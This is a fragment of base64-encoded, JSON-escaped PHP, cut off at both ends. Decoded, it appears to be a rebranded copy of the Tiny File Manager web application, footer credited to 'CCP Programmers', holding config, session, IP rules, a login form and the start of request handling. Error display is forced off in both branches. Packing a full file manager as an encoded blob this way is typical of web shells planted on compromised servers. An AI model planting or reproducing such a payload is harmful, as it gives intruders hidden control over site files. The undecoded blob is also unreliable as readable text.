cbiRjZmcgPSBuZXcgRk1fQ29uZmlnKCk7XG4kbGFuZyA9IGlzc2V0KCRjZmctPmRhdGFbJ2xhbmcnXSkgPyAkY2ZnLT5kYXRhWydsYW5nJ10gOiAnZW4nO1xuXG4kc2hvd19oaWRkZW5fZmlsZXMgPSBpc3NldCgkY2ZnLT5kYXRhWydzaG93X2hpZGRlbiddKSA/ICRjZmctPmRhdGFbJ3Nob3dfaGlkZGVuJ10gOiB0cnVlO1xuJHJlcG9ydF9lcnJvcnMgPSBpc3NldCgkY2ZnLT5kYXRhWydlcnJvcl9yZXBvcnRpbmcnXSkgPyAkY2ZnLT5kYXRhWydlcnJvcl9yZXBvcnRpbmcnXSA6IHRydWU7XG4kaGlkZV9Db2xzID0gaXNzZXQoJGNmZy0+ZGF0YVsnaGlkZV9Db2xzJ10pID8gJGNmZy0+ZGF0YVsnaGlkZV9Db2xzJ10gOiB0cnVlO1xuJHRoZW1lID0gaXNzZXQoJGNmZy0+ZGF0YVsndGhlbWUnXSkgPyAkY2ZnLT5kYXRhWyd0aGVtZSddIDogJ2xpZ2h0JztcblxuZGVmaW5lKCdGTV9USEVNRScsICR0aGVtZSk7XG5cbiRsYW5nX2xpc3QgPSBhcnJheShcbiAgICAnZW4nID0+ICdFbmdsaXNoJ1xuKTtcblxuaWYgKCRyZXBvcnRfZXJyb3JzID09IGZhbHNlKSB7XG4gICAgQGluaV9zZXQoJ2Vycm9yX3JlcG9ydGluZycsIDApO1xuICAgIEBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApO1xufSBlbHNlIHtcbiAgICBAaW5pX3NldCgnZXJyb3JfcmVwb3J0aW5nJywgMCk7XG4gICAgQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7XG59XG5cbmlmIChkZWZpbmVkKCdGTV9FTUJFRCcpKSB7XG4gICAgJHVzZV9hdXRoID0gZmFsc2U7XG4gICAgJHN0aWNreV9uYXZiYXIgPSBmYWxzZTtcbn0gZWxzZSB7XG4gICAgQHNldF90aW1lX2xpbWl0KDYwMCk7XG5cbiAgICBkYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCRkZWZhdWx0X3RpbWV6b25lKTtcblxuICAgIGluaV9zZXQoJ2RlZmF1bHRfY2hhcnNldCcsICdVVEYtOCcpO1xuICAgIGlmICh2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc1LjYuMCcsICc8JykgJiYgZnVuY3Rpb25fZXhpc3RzKCdtYl9pbnRlcm5hbF9lbmNvZGluZycpKSB7XG4gICAgICAgIG1iX2ludGVybmFsX2VuY29kaW5nKCdVVEYtOCcpO1xuICAgIH1cbiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdtYl9yZWdleF9lbmNvZGluZycpKSB7XG4gICAgICAgIG1iX3JlZ2V4X2VuY29kaW5nKCdVVEYtOCcpO1xuICAgIH1cblxuICAgIHNlc3Npb25fY2FjaGVfbGltaXRlcignbm9jYWNoZScpO1xuICAgIHNlc3Npb25fbmFtZShGTV9TRVNTSU9OX0lEKTtcbiAgICBmdW5jdGlvbiBzZXNzaW9uX2Vycm9yX2hhbmRsaW5nX2Z1bmN0aW9uKCRjb2RlLCAkbXNnLCAkZmlsZSwgJGxpbmUpXG4gICAge1xuICAgICAgICBpZiAoJGNvZGUgPT0gMikge1xuICAgICAgICAgICAgc2Vzc2lvbl9hYm9ydCgpO1xuICAgICAgICAgICAgc2Vzc2lvbl9pZChzZXNzaW9uX2NyZWF0ZV9pZCgpKTtcbiAgICAgICAgICAgIEBzZXNzaW9uX3N0YXJ0KCk7XG4gICAgICAgIH1cbiAgICB9XG4gICAgc2V0X2Vycm9yX2hhbmRsZXIoJ3Nlc3Npb25fZXJyb3JfaGFuZGxpbmdfZnVuY3Rpb24nKTtcbiAgICBzZXNzaW9uX3N0YXJ0KCk7XG4gICAgcmVzdG9yZV9lcnJvcl9oYW5kbGVyKCk7XG59XG5cbmlmIChlbXB0eSgkX1NFU1NJT05bJ3Rva2VuJ10pKSB7XG4gICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygncmFuZG9tX2J5dGVzJykpIHtcbiAgICAgICAgJF9TRVNTSU9OWyd0b2tlbiddID0gYmluMmhleChyYW5kb21fYnl0ZXMoMzIpKTtcbiAgICB9IGVsc2Uge1xuICAgICAgICAkX1NFU1NJT05bJ3Rva2VuJ10gPSBiaW4yaGV4KG9wZW5zc2xfcmFuZG9tX3BzZXVkb19ieXRlcygzMikpO1xuICAgIH1cbn1cblxuaWYgKGVtcHR5KCRhdXRoX3VzZXJzKSkge1xuICAgICR1c2VfYXV0aCA9IGZhbHNlO1xufVxuXG4kaXNfaHR0cHMgPSBpc3NldCgkX1NFUlZFUlsnSFRUUFMnXSkgJiYgKHN0cnRvbG93ZXIoJF9TRVJWRVJbJ0hUVFBTJ10pID09ICdvbicgfHwgJF9TRVJWRVJbJ0hUVFBTJ10gPT0gMSlcbiAgICB8fCBpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9QUk9UTyddKSAmJiAkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9QUk9UTyddID09ICdodHRwcyc7XG5cbmlmIChpc3NldCgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddKSAmJiAhZW1wdHkoJGRpcmVjdG9yaWVzX3VzZXJzWyRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ11dKSkge1xuICAgICR3ZCA9IGZtX2NsZWFuX3BhdGgoZGlybmFtZSgkX1NFUlZFUlsnUEhQX1NFTEYnXSkpO1xuICAgICRyb290X3VybCA9ICAkcm9vdF91cmwgLiAkd2QgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGRpcmVjdG9yaWVzX3VzZXJzWyRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ11dO1xufVxuJHJvb3RfdXJsID0gZm1fY2xlYW5fcGF0aCgkcm9vdF91cmwpO1xuXG5kZWZpbmVkKCdGTV9ST09UX1VSTCcpIHx8IGRlZmluZSgnRk1fUk9PVF9VUkwnLCAoJGlzX2h0dHBzID8gJ2h0dHBzJyA6ICdodHRwJykgLiAnOlwvXC8nIC4gJGh0dHBfaG9zdCAuICghZW1wdHkoJHJvb3RfdXJsKSA/ICdcLycgLiAkcm9vdF91cmwgOiAnJykpO1xuZGVmaW5lZCgnRk1fU0VMRl9VUkwnKSB8fCBkZWZpbmUoJ0ZNX1NFTEZfVVJMJywgKCRpc19odHRwcyA/ICdodHRwcycgOiAnaHR0cCcpIC4gJzpcL1wvJyAuICRodHRwX2hvc3QgLiAkX1NFUlZFUlsnUEhQX1NFTEYnXSk7XG5cbmlmIChpc3NldCgkX0dFVFsnbG9nb3V0J10pKSB7XG4gICAgdW5zZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSk7XG4gICAgdW5zZXQoJF9TRVNTSU9OWyd0b2tlbiddKTtcbiAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCk7XG59XG5cbmlmICgkaXBfcnVsZXNldCAhPSAnT0ZGJykge1xuICAgIGZ1bmN0aW9uIGdldENsaWVudElQKClcbiAgICB7XG4gICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKCdIVFRQX0NGX0NPTk5FQ1RJTkdfSVAnLCAkX1NFUlZFUikpIHtcbiAgICAgICAgICAgIHJldHVybiAgJF9TRVJWRVJbXCJIVFRQX0NGX0NPTk5FQ1RJTkdfSVBcIl07XG4gICAgICAgIH0gZWxzZSBpZiAoYXJyYXlfa2V5X2V4aXN0cygnSFRUUF9YX0ZPUldBUkRFRF9GT1InLCAkX1NFUlZFUikpIHtcbiAgICAgICAgICAgIHJldHVybiAgJF9TRVJWRVJbXCJIVFRQX1hfRk9SV0FSREVEX0ZPUlwiXTtcbiAgICAgICAgfSBlbHNlIGlmIChhcnJheV9rZXlfZXhpc3RzKCdSRU1PVEVfQUREUicsICRfU0VSVkVSKSkge1xuICAgICAgICAgICAgcmV0dXJuICRfU0VSVkVSWydSRU1PVEVfQUREUiddO1xuICAgICAgICB9IGVsc2UgaWYgKGFycmF5X2tleV9leGlzdHMoJ0hUVFBfQ0xJRU5UX0lQJywgJF9TRVJWRVIpKSB7XG4gICAgICAgICAgICByZXR1cm4gJF9TRVJWRVJbJ0hUVFBfQ0xJRU5UX0lQJ107XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuICcnO1xuICAgIH1cblxuICAgICRjbGllbnRJcCA9IGdldENsaWVudElQKCk7XG4gICAgJHByb2NlZWQgPSBmYWxzZTtcbiAgICAkd2hpdGVsaXN0ZWQgPSBpbl9hcnJheSgkY2xpZW50SXAsICRpcF93aGl0ZWxpc3QpO1xuICAgICRibGFja2xpc3RlZCA9IGluX2FycmF5KCRjbGllbnRJcCwgJGlwX2JsYWNrbGlzdCk7XG5cbiAgICBpZiAoJGlwX3J1bGVzZXQgPT0gJ0FORCcpIHtcbiAgICAgICAgaWYgKCR3aGl0ZWxpc3RlZCA9PSB0cnVlICYmICRibGFja2xpc3RlZCA9PSBmYWxzZSkge1xuICAgICAgICAgICAgJHByb2NlZWQgPSB0cnVlO1xuICAgICAgICB9XG4gICAgfSBlbHNlXG4gICAgaWYgKCRpcF9ydWxlc2V0ID09ICdPUicpIHtcbiAgICAgICAgaWYgKCR3aGl0ZWxpc3RlZCA9PSB0cnVlIHx8ICRibGFja2xpc3RlZCA9PSBmYWxzZSkge1xuICAgICAgICAgICAgJHByb2NlZWQgPSB0cnVlO1xuICAgICAgICB9XG4gICAgfVxuXG4gICAgaWYgKCRwcm9jZWVkID09IGZhbHNlKSB7XG4gICAgICAgIHRyaWdnZXJfZXJyb3IoJ1VzZXIgY29ubmVjdGlvbiBkZW5pZWQgZnJvbTogJyAuICRjbGllbnRJcCwgRV9VU0VSX1dBUk5JTkcpO1xuXG4gICAgICAgIGlmICgkaXBfc2lsZW50ID09IGZhbHNlKSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnQWNjZXNzIGRlbmllZC4gSVAgcmVzdHJpY3Rpb24gYXBwbGljYWJsZScpLCAnZXJyb3InKTtcbiAgICAgICAgICAgIGZtX3Nob3dfaGVhZGVyX2xvZ2luKCk7XG4gICAgICAgICAgICBmbV9zaG93X21lc3NhZ2UoKTtcbiAgICAgICAgfVxuICAgICAgICBleGl0KCk7XG4gICAgfVxufVxuXG5pZiAoJHVzZV9hdXRoKSB7XG4gICAgaWYgKGlzc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ10sICRhdXRoX3VzZXJzWyRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ11dKSkge1xuICAgIH0gZWxzZWlmIChpc3NldCgkX1BPU1RbJ2ZtX3VzciddLCAkX1BPU1RbJ2ZtX3B3ZCddLCAkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgIHNsZWVwKDEpO1xuICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdwYXNzd29yZF92ZXJpZnknKSkge1xuICAgICAgICAgICAgaWYgKGlzc2V0KCRhdXRoX3VzZXJzWyRfUE9TVFsnZm1fdXNyJ11dKSAmJiBpc3NldCgkX1BPU1RbJ2ZtX3B3ZCddKSAmJiBwYXNzd29yZF92ZXJpZnkoJF9QT1NUWydmbV9wd2QnXSwgJGF1dGhfdXNlcnNbJF9QT1NUWydmbV91c3InXV0pICYmIHZlcmlmeVRva2VuKCRfUE9TVFsndG9rZW4nXSkpIHtcbiAgICAgICAgICAgICAgICAkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddID0gJF9QT1NUWydmbV91c3InXTtcbiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnWW91IGFyZSBsb2dnZWQgaW4nKSk7XG4gICAgICAgICAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwpO1xuICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICB1bnNldCgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddKTtcbiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnTG9naW4gZmFpbGVkLiBJbnZhbGlkIHVzZXJuYW1lIG9yIHBhc3N3b3JkJyksICdlcnJvcicpO1xuICAgICAgICAgICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMKTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgIGZtX3NldF9tc2cobG5nKCdwYXNzd29yZF9oYXNoIG5vdCBzdXBwb3J0ZWQsIFVwZ3JhZGUgUEhQIHZlcnNpb24nKSwgJ2Vycm9yJyk7O1xuICAgICAgICB9XG4gICAgfSBlbHNlIHtcbiAgICAgICAgdW5zZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSk7XG4gICAgICAgIGZtX3Nob3dfaGVhZGVyX2xvZ2luKCk7XG4/PlxuICAgICAgICA8c2VjdGlvbiBjbGFzcz1cImgtMTAwXCI+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29udGFpbmVyIGgtMTAwXCI+XG4gICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cInJvdyBqdXN0aWZ5LWNvbnRlbnQtbWQtY2VudGVyIGFsaWduLWNvbnRlbnQtY2VudGVyIGgtMTAwdmhcIj5cbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQtd3JhcHBlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQgZmF0XCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQtYm9keVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBjbGFzcz1cImZvcm0tc2lnbmluXCIgYWN0aW9uPVwiXCIgbWV0aG9kPVwicG9zdFwiIGF1dG9jb21wbGV0ZT1cIm9mZlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1iLTNcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiYnJhbmRcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHN2ZyB2ZXJzaW9uPVwiMS4wXCIgeG1sbnM9XCJodHRwOlwvXC93d3cudzMub3JnXC8yMDAwXC9zdmdcIiBNMTAwOCB3aWR0aD1cIjEwMCVcIiBoZWlnaHQ9XCI4MHB4XCIgdmlld0JveD1cIjAgMCAyMzguMDAwMDAwIDE0MC4wMDAwMDBcIiBhcmlhLWxhYmVsPVwiSDNLIFRpbnkgRmlsZSBNYW5hZ2VyXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZyB0cmFuc2Zvcm09XCJ0cmFuc2xhdGUoMC4wMDAwMDAsMTQwLjAwMDAwMCkgc2NhbGUoMC4xMDAwMDAsLTAuMTAwMDAwKVwiIGZpbGw9XCIjMDAwMDAwXCIgc3Ryb2tlPVwibm9uZVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwYXRoIGQ9XCJNMTYwIDcwMCBsMCAtNjAwIDExMCAwIDExMCAwIDAgMjYwIDAgMjYwIDcwIDAgNzAgMCAwIC0yNjAgMCAtMjYwIDExMCAwIDExMCAwIDAgNjAwIDAgNjAwIC0xMTAgMCAtMTEwIDAgMCAtMjYwIDAgLTI2MCAtNzAgMCAtNzAgMCAwIDI2MCAwIDI2MCAtMTEwIDAgLTExMCAwIDAgLTYwMHpcIiBcLz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cGF0aCBmaWxsPVwiIzAwMzUwMFwiIGQ9XCJNMTAwOCAxMjI3IGwtMTA4IC03MiAwIC0xMTcgMCAtMTE4IDExMCAwIDExMCAwIDAgMTEwIDAgMTEwIDcwIDAgNzAgMCAwIC0xODAgMCAtMTgwIC0xMjUgMCBjLTY5IDAgLTEyNSAtMyAtMTI1IC02IDAgLTMgMjMgLTM5IDUyIC04MCBsNTIgLTc0IDczIDAgNzMgMCAwIC0xODUgMCAtMTg1IC03MCAwIC03MCAwIDAgMTE1IDAgMTE1IC0xMTAgMCAtMTEwIDAgMCAtMTkwIDAgLTE5MCAxODEgMCAxODEgMCAxMDkgNzMgMTA4IDcyIDEgMTgxIDAgMTgxIC02OSA0OCAtNjggNDkgNjggNTAgNjkgNDkgMCAyNDkgMCAyNDggLTE4MiAtMSAtMTgzIDAgLTEwNyAtNzJ6XCIgXC8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHBhdGggZD1cIk0xNjQwIDcwMCBsMCAtNjAwIDExMCAwIDExMCAwIDAgMjA4IDAgMjA4IDM1IDM0IDM1IDM0IDM1IC0zNCAzNSAtMzQgMCAtMjA4IDAgLTIwOCAxMTAgMCAxMTAgMCAwIDIxMiAwIDIxMyAtODcgODcgLTg4IDg4IDg4IDg4IDg3IDg3IDAgMjEzIDAgMjEyIC0xMTAgMCAtMTEwIDAgMCAtMjA4IDAgLTIwOCAtNzAgLTY5IC03MCAtNjkgMCAyNzcgMCAyNzcgLTExMCAwIC0xMTAgMCAwIC02MDB6XCIgXC8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9nPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9zdmc+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJ0ZXh0LWNlbnRlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aDEgY2xhc3M9XCJjYXJkLXRpdGxlXCI+PD9waHAgZWNobyBBUFBfVElUTEU7ID8+PFwvaDE+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGhyIFwvPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1iLTNcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPVwiZm1fdXNyXCIgY2xhc3M9XCJwYi0yXCI+PD9waHAgZWNobyBsbmcoJ1VzZXJuYW1lJyk7ID8+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJ0ZXh0XCIgY2xhc3M9XCJmb3JtLWNvbnRyb2xcIiBpZD1cImZtX3VzclwiIG5hbWU9XCJmbV91c3JcIiByZXF1aXJlZCBhdXRvZm9jdXM+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJtYi0zXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj1cImZtX3B3ZFwiIGNsYXNzPVwicGItMlwiPjw/cGhwIGVjaG8gbG5nKCdQYXNzd29yZCcpOyA/PjxcL2xhYmVsPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwicGFzc3dvcmRcIiBjbGFzcz1cImZvcm0tY29udHJvbFwiIGlkPVwiZm1fcHdkXCIgbmFtZT1cImZtX3B3ZFwiIHJlcXVpcmVkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibWItM1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGZtX3Nob3dfbWVzc2FnZSgpOyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gaHRtbGVudGl0aWVzKCRfU0VTU0lPTlsndG9rZW4nXSk7ID8+XCIgXC8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibWItM1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuIGJ0bi1zdWNjZXNzIGJ0bi1ibG9jayB3LTEwMCBtdC00XCIgcm9sZT1cImJ1dHRvblwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGxuZygnTG9naW4nKTsgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9idXR0b24+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Zvcm0+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImZvb3RlciB0ZXh0LWNlbnRlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICZtZGFzaDsmbWRhc2g7ICZjb3B5O1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9XCJodHRwczpcL1wvdGlueWZpbGVtYW5hZ2VyLmdpdGh1Yi5pb1wvXCIgdGFyZ2V0PVwiX2JsYW5rXCIgY2xhc3M9XCJ0ZXh0LWRlY29yYXRpb24tbm9uZSB0ZXh0LW11dGVkXCIgZGF0YS12ZXJzaW9uPVwiPD9waHAgZWNobyBWRVJTSU9OOyA/PlwiPkNDUCBQcm9ncmFtbWVyczxcL2E+ICZtZGFzaDsmbWRhc2g7XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgIDxcL3NlY3Rpb24+XG5cbiAgICA8P3BocFxuICAgICAgICBmbV9zaG93X2Zvb3Rlcl9sb2dpbigpO1xuICAgICAgICBleGl0O1xuICAgIH1cbn1cblxuaWYgKCR1c2VfYXV0aCAmJiBpc3NldCgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddKSkge1xuICAgICRyb290X3BhdGggPSBpc3NldCgkZGlyZWN0b3JpZXNfdXNlcnNbJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXV0pID8gJGRpcmVjdG9yaWVzX3VzZXJzWyRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ11dIDogJHJvb3RfcGF0aDtcbn1cblxuJHJvb3RfcGF0aCA9IHJ0cmltKCRyb290X3BhdGgsICdcXFxcXC8nKTtcbiRyb290X3BhdGggPSBzdHJfcmVwbGFjZSgnXFxcXCcsICdcLycsICRyb290X3BhdGgpO1xuaWYgKCFAaXNfZGlyKCRyb290X3BhdGgpKSB7XG4gICAgZWNobyBcIjxoMT5cIiAuIGxuZygnUm9vdCBwYXRoJykgLiBcIiBcXFwieyRyb290X3BhdGh9XFxcIiBcIiAuIGxuZygnbm90IGZvdW5kIScpIC4gXCIgPFwvaDE+XCI7XG4gICAgZXhpdDtcbn1cblxuZGVmaW5lZCgnRk1fU0hPV19ISURERU4nKSB8fCBkZWZpbmUoJ0ZNX1NIT1dfSElEREVOJywgJHNob3dfaGlkZGVuX2ZpbGVzKTtcbmRlZmluZWQoJ0ZNX1JPT1RfUEFUSCcpIHx8IGRlZmluZSgnRk1fUk9PVF9QQVRIJywgJHJvb3RfcGF0aCk7XG5kZWZpbmVkKCdGTV9MQU5HJykgfHwgZGVmaW5lKCdGTV9MQU5HJywgJGxhbmcpO1xuZGVmaW5lZCgnRk1fRklMRV9FWFRFTlNJT04nKSB8fCBkZWZpbmUoJ0ZNX0ZJTEVfRVhURU5TSU9OJywgJGFsbG93ZWRfZmlsZV9leHRlbnNpb25zKTtcbmRlZmluZWQoJ0ZNX1VQTE9BRF9FWFRFTlNJT04nKSB8fCBkZWZpbmUoJ0ZNX1VQTE9BRF9FWFRFTlNJT04nLCAkYWxsb3dlZF91cGxvYWRfZXh0ZW5zaW9ucyk7XG5kZWZpbmVkKCdGTV9FWENMVURFX0lURU1TJykgfHwgZGVmaW5lKCdGTV9FWENMVURFX0lURU1TJywgKHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwgJzcuMC4wJywgJzwnKSA/IHNlcmlhbGl6ZSgkZXhjbHVkZV9pdGVtcykgOiAkZXhjbHVkZV9pdGVtcykpO1xuZGVmaW5lZCgnRk1fRE9DX1ZJRVdFUicpIHx8IGRlZmluZSgnRk1fRE9DX1ZJRVdFUicsICRvbmxpbmVfdmlld2VyKTtcbmRlZmluZSgnRk1fUkVBRE9OTFknLCAkZ2xvYmFsX3JlYWRvbmx5IHx8ICgkdXNlX2F1dGggJiYgIWVtcHR5KCRyZWFkb25seV91c2VycykgJiYgaXNzZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSkgJiYgaW5fYXJyYXkoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSwgJHJlYWRvbmx5X3VzZXJzKSkpO1xuZGVmaW5lKCdGTV9JU19XSU4nLCBESVJFQ1RPUllfU0VQQVJBVE9SID09ICdcXFxcJyk7XG5cbmlmICghaXNzZXQoJF9HRVRbJ3AnXSkgJiYgZW1wdHkoJF9GSUxFUykpIHtcbiAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nKTtcbn1cblxuJHAgPSBpc3NldCgkX0dFVFsncCddKSA/ICRfR0VUWydwJ10gOiAoaXNzZXQoJF9QT1NUWydwJ10pID8gJF9QT1NUWydwJ10gOiAnJyk7XG5cbiRwID0gZm1fY2xlYW5fcGF0aCgkcCk7XG5cbiRpbnB1dCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCdwaHA6XC9cL2lucHV0Jyk7XG4kX1BPU1QgPSAoc3RycG9zKCRpbnB1dCwgJ2FqYXgnKSAhPSBGQUxTRSAmJiBzdHJwb3MoJGlucHV0LCAnc2F2ZScpICE9IEZBTFNFKSA/IGpzb25fZGVjb2RlKCRpbnB1dCwgdHJ1ZSkgOiAkX1BPU1Q7XG5cbmRlZmluZSgnRk1fUEFUSCcsICRwKTtcbmRlZmluZSgnRk1fVVNFX0FVVEgnLCAkdXNlX2F1dGgpO1xuZGVmaW5lKCdGTV9FRElUX0ZJTEUnLCAkZWRpdF9maWxlcyk7XG5kZWZpbmVkKCdGTV9JQ09OVl9JTlBVVF9FTkMnKSB8fCBkZWZpbmUoJ0ZNX0lDT05WX0lOUFVUX0VOQycsICRpY29udl9pbnB1dF9lbmNvZGluZyk7XG5kZWZpbmVkKCdGTV9VU0VfSElHSExJR0hUSlMnKSB8fCBkZWZpbmUoJ0ZNX1VTRV9ISUdITElHSFRKUycsICR1c2VfaGlnaGxpZ2h0anMpO1xuZGVmaW5lZCgnRk1fSElHSExJR0hUSlNfU1RZTEUnKSB8fCBkZWZpbmUoJ0ZNX0hJR0hMSUdIVEpTX1NUWUxFJywgJGhpZ2hsaWdodGpzX3N0eWxlKTtcbmRlZmluZWQoJ0ZNX0RBVEVUSU1FX0ZPUk1BVCcpIHx8IGRlZmluZSgnRk1fREFURVRJTUVfRk9STUFUJywgJGRhdGV0aW1lX2Zvcm1hdCk7XG5cbnVuc2V0KCRwLCAkdXNlX2F1dGgsICRpY29udl9pbnB1dF9lbmNvZGluZywgJHVzZV9oaWdobGlnaHRqcywgJGhpZ2hsaWdodGpzX3N0eWxlKTtcblxuXG5pZiAoKGlzc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ10sICRhdXRoX3VzZXJzWyRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ11dKSB8fCAhRk1fVVNFX0FVVEgpICYmIGlzc2V0KCRfUE9TVFsnYWpheCddLCAkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgaWYgKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgIGhlYWRlcignSFRUUFwvMS4wIDQwMSBVbmF1